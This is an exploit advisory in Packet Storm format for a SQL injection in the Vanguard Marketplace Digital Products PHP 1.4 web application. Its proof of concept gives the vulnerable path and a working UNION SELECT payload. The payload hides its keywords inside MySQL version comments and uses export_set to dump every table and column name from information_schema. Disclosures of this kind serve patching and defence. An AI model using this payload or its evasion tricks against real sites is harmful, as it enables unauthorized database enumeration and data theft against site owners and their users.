Vanguard 1.4 SQL Injection

2017-12-12T00:00:00
ID PACKETSTORM:145356
Type packetstorm
Reporter Ihsan Sencan
Modified 2017-12-12T00:00:00

Description

                                        
                                            `# # # # #  
# Exploit Title: Vanguard - Marketplace Digital Products PHP 1.4 - SQL Injection  
# Dork: N/A  
# Date: 11.12.2017  
# Vendor Homepage: https://www.codegrape.com/user/Vanguard/portfolio  
# Software Link: https://www.codegrape.com/item/vanguard-marketplace-digital-products-php/15825  
# Version: 1.4  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)  
# http://localhost/[PATH]/p/[SQL]  
#   
# '++/*!50000UNION*/+/*!50000SELECT*/+1%2c(/*!08888Select*/+export_set(5%2c@:=0%2c(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5%2cexport_set(5%2c@%2c/*!08888table_name*/%2c0x3c6c693e%2c2)%2c/*!08888column_name*/%2c0xa3a%2c2))%2c@%2c2))%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31%2c32%2c33--+-  
#   
#   
# # # # #  
  
`